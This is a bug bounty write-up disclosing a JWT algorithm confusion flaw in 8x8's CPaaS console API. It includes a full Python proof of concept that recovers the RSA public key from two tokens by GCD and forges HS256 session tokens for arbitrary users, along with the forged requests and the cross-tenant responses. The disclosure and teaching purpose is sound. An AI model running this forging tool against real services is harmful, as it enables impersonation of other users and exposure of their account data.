This is how I got it a JWT algorithm confusion bug (RS256 to HS256) in 8x8's CPaaS console that lets you forge a session for any user on the platform, starting from a free trial account.
connect.8x8.com/api/v1: JWT Algorithm Confusion Vulnerability (https://hackerone.com/reports/3800870) - $1337 bounty
7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Where I was looking
connect.8x8.com is 8x8's CPaaS console (SMS, voice, chat apps, virtual numbers, billing). I did not start out hunting JWTs. I was mapping the authentication architecture, and the first thing that showed up is that the same host serves two API layers from two different eras: /api/v1 hits a Java backend (portal-apiv1, the one behind the older console) and /api/v2 hits a newer Node service. You can tell them apart from the errors alone: v1 answers Invalid credentials, v2 answers access_denied.
That is already a lead. When a product has two backends written years apart behind the same domain, the auth checks are almost never identical, and the older one is usually the one left behind.
My first move on any authenticated app is to open the session token. So I did.
JWT in 30 seconds
A JWT is three base64url chunks separated by dots:
header.payload.signature
The header says which algorithm signs the token. The payload is the data (who the user is, when it expires). The signature is what guarantees the payload was not modified after it was issued.
The signature is computed over header.payload. When the token comes back on a request, the server recomputes the signature and compares it with the one that arrived. Match, it trusts the payload. No match, it rejects. All of a JWT's security lives in that comparison. If I can produce a signature the server accepts, I put whatever I want in the payload.
The difference between the two algorithms that matter here:
- RS256 is asymmetric. The server signs with the private key, anyone verifies with the public key. The public key is public on purpose, there is no secret in it. Knowing the public key does not let you forge anything, because signing needs the private key.
- HS256 is symmetric (HMAC). The same key signs and verifies. Whoever knows the key can sign.
The payload carried too much
Logged in, opened localStorage, read the token. Normal header: {"alg":"RS256","typ":"JWT"}. The payload is what caught my eye:
{
"UserId": "B0C6B89F-E73F-4900-B4E0-74E098F277C3",
"Email": "[email protected]",
"AccountId": "AsyxSecLab...",
"AccessLevel": "A",
"Roles": ["ApiKeys_v2", "Payment_v2", "UserManagement.ManageUsers_v2"],
"iss": "connect.8x8.com",
"exp": 1750000000
}
Identity, email, account, access level, roles. All inside the token. That tells you something: the server reads the session straight off the signature instead of hitting the database on every request. Common and efficient. It also means that whoever forges a valid signature is not bypassing an authorization check, they become the user. The server believes every field in the payload.
So the target was clear. It was not about finding a badly protected endpoint, it was about signing a token this server accepts.
The algorithm confusion
The classic algorithm confusion bug is a library that decides what to do based on the header's alg, a field I control.
The server has one key configured. If the token arrives with alg: RS256, it treats that key as an RSA public key and verifies the signature. If I switch it to alg: HS256, some implementations take that same key (the bytes of the public key PEM) and use it as the HMAC secret.
The problem shows up right there: the HMAC secret becomes something that is not secret, the public key. Theoretically I know the public key. So I can sign a valid HS256: send {"alg":"HS256"}, sign the payload with the public key PEM as the secret, and the server verifies the HMAC with the same PEM and gets a match.
All I was missing was the public key.
Recovering the public key by GCD
I looked for the usual: /.well-known/jwks.json, a metadata endpoint, a key baked into the JS. Nothing exposed.
But you can recover the public key from two of your own signatures. Nobody has to hand it to you. And I already had the signature generator: every login gives me a fresh token, signed with their private key.
An RS256 signature is s = m^d mod N, where m is the padded hash and N is the modulus (the public part of the key, along with e = 65537). Raise both sides to e:
s^e ≡ m (mod N)
so s^e - m is a multiple of N. With two of my own tokens (signatures s1, s2, messages m1, m2), N divides both s1^e - m1 and s2^e - m2, so it divides their GCD:
N | gcd(s1^e - m1, s2^e - m2)
The GCD gives you N times some small spurious factors, which you strip by dividing out the small primes. What is left is the modulus. With N and e you rebuild the PEM. Two tokens from your own account, zero victim interaction.
The key was 1024 bits, so the GCD runs in seconds.
The PoC
Take two of your own tokens, recover the modulus by GCD, build the PEM, and sign an HS256 token with the victim's UserId:
#!/usr/bin/env python3
# connect.8x8.com v1: RS256->HS256 algorithm confusion -> forge any user's session.
# pip install gmpy2 cryptography
# Usage: python3 poc.py <own_token1> <own_token2> <victim_UserId>
import sys, json, base64, hashlib, hmac, gmpy2
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=')
ub64u = lambda s: base64.urlsafe_b64decode(s + '=' * (-len(s) % 4))
SHA256_DIGINFO = bytes.fromhex('3031300d060960864801650304020105000420')
def split(tok):
h, p, s = tok.strip().split('.')
sig = ub64u(s)
return (h + '.' + p).encode(), int.from_bytes(sig, 'big'), len(sig), json.loads(ub64u(p))
def emsa_pkcs1(signing_input, klen): # the integer a valid RS256 sig "decrypts" to
T = SHA256_DIGINFO + hashlib.sha256(signing_input).digest()
return int.from_bytes(b'\x00\x01' + b'\xff' * (klen - 3 - len(T)) + b'\x00' + T, 'big')
si1, s1, klen, p1 = split(open(sys.argv[1]).read())
si2, s2, _, _ = split(open(sys.argv[2]).read())
e = 65537
N = int(gmpy2.gcd(s1**e - emsa_pkcs1(si1, klen), s2**e - emsa_pkcs1(si2, klen)))
for f in range(2, 100000): # strip small spurious factors
while N % f == 0: N //= f
assert pow(s1, e, N) == emsa_pkcs1(si1, klen) % N, "modulus recovery failed"
pem = rsa.RSAPublicNumbers(e, N).public_key().public_bytes(
serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
payload = dict(p1) # reuse your own token's claims as a template...
payload['UserId'] = sys.argv[3] # ...and swap in the victim UserId (the only field that matters)
msg = b64u(b'{"alg":"HS256","typ":"JWT"}') + b'.' + b64u(json.dumps(payload, separators=(',', ':')).encode())
print((msg + b'.' + b64u(hmac.new(pem, msg, hashlib.sha256).digest())).decode())
The two lines that make the bug happen: alg becomes HS256, and the HMAC secret is pem, the recovered public key.
$ python3 poc.py token_a.jwt token_b.jwt 988C7325-9679-4ACC-951C-00291EFDA43E
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFbWFpbCI6... (alg=HS256)
Forging a session for another account
To avoid testing against anyone real, I created a second trial account in a different tenant to be the victim. UserId 988C7325-9679-4ACC-951C-00291EFDA43E, account AsyxOrg2Corp3978_0pP78. I forged a token with its UserId and sent it to the identity endpoint:
GET /api/v1/auth/user?rolesVersion=2 HTTP/2
Host: connect.8x8.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
HTTP/2 200 OK
{"data":{
"UserId":"988C7325-9679-4ACC-951C-00291EFDA43E",
"Login":"[email protected]",
"AccountId":"AsyxOrg2Corp3978_0pP78",
"AccountUid":"61AAF736-5C64-F111-B95E-060D6FF3E2F2",
"AccessLevel":"A",
"Roles":["ApiKeys_v2","Payment_v2","UserManagement.ManageUsers_v2", "..."]
}}
200, answered as the other account, in another tenant. And it is not an echo of my token: the email and the AccountUid came from that account's record on the server. I later confirmed that GET /api/v1/users/profile also returns the full profile of the forged identity (email, phone, name, company), plus the account's data:
GET /api/v1/accounts/61AAF736-5C64-F111-B95E-060D6FF3E2F2/sub-accounts HTTP/2
Authorization: Bearer <forged HS256 token>
HTTP/2 200 OK
[[{"SubAccountUid":108619,"SubAccountId":"AsyxOrg2Corp3978_0pP78_hq","Product_SMS":true,"Default":1}]]
The same endpoint with my own AccountUid returns 400 (id mismatch). That proves the token is genuinely bound to the victim identity, not a missing-auth wildcard that hands anything to anyone.
Where the bug stops
I tried to write. Every state-changing endpoint under the forged token returned 500 or Impersonation checking failed. There is a second barrier on writes that the forge does not pass. So this is read-impersonation: I read the victim's identity, email, account, roles, profile and sub-accounts cross-tenant, and /balance and /payments/transactions answer 200. But I cannot write.
Mapping the other verifiers
It is also worth checking where else the token runs. The same forged token against the v2 backend, against sso.8x8.com, and against JaaS on 8x8.vc got 401 everywhere (v2 literally says "invalid algorithm"). Every other verifier pins the algorithm. Only the v1 read path had the hole.
That helps the report twice over: it shows the bug's scope was mapped, and it shows the fix already runs in their own production, they just have to apply it to the verifier that got left behind. Which is exactly the initial hunch (the older backend behind the same domain) confirmed.
Takeaways
- A fat token (identity, roles, access level) is a sign the server trusts the signature as its source of truth. Safe while the signature is unbreakable, and the largest attack surface the moment it is not.
- Two API layers behind one host, written in different eras, is an auth lead by itself. That is what made me test both verifiers instead of one.
- "I do not have the public key" rarely ends the conversation with RSA: two of your own tokens and a GCD recover the modulus.
- Mapping where the bug is not (the other backends pinning the algorithm) adds weight to the report.
- Reproduction is not reportability: the
200proves it runs, the controls prove it is a bug. Send both.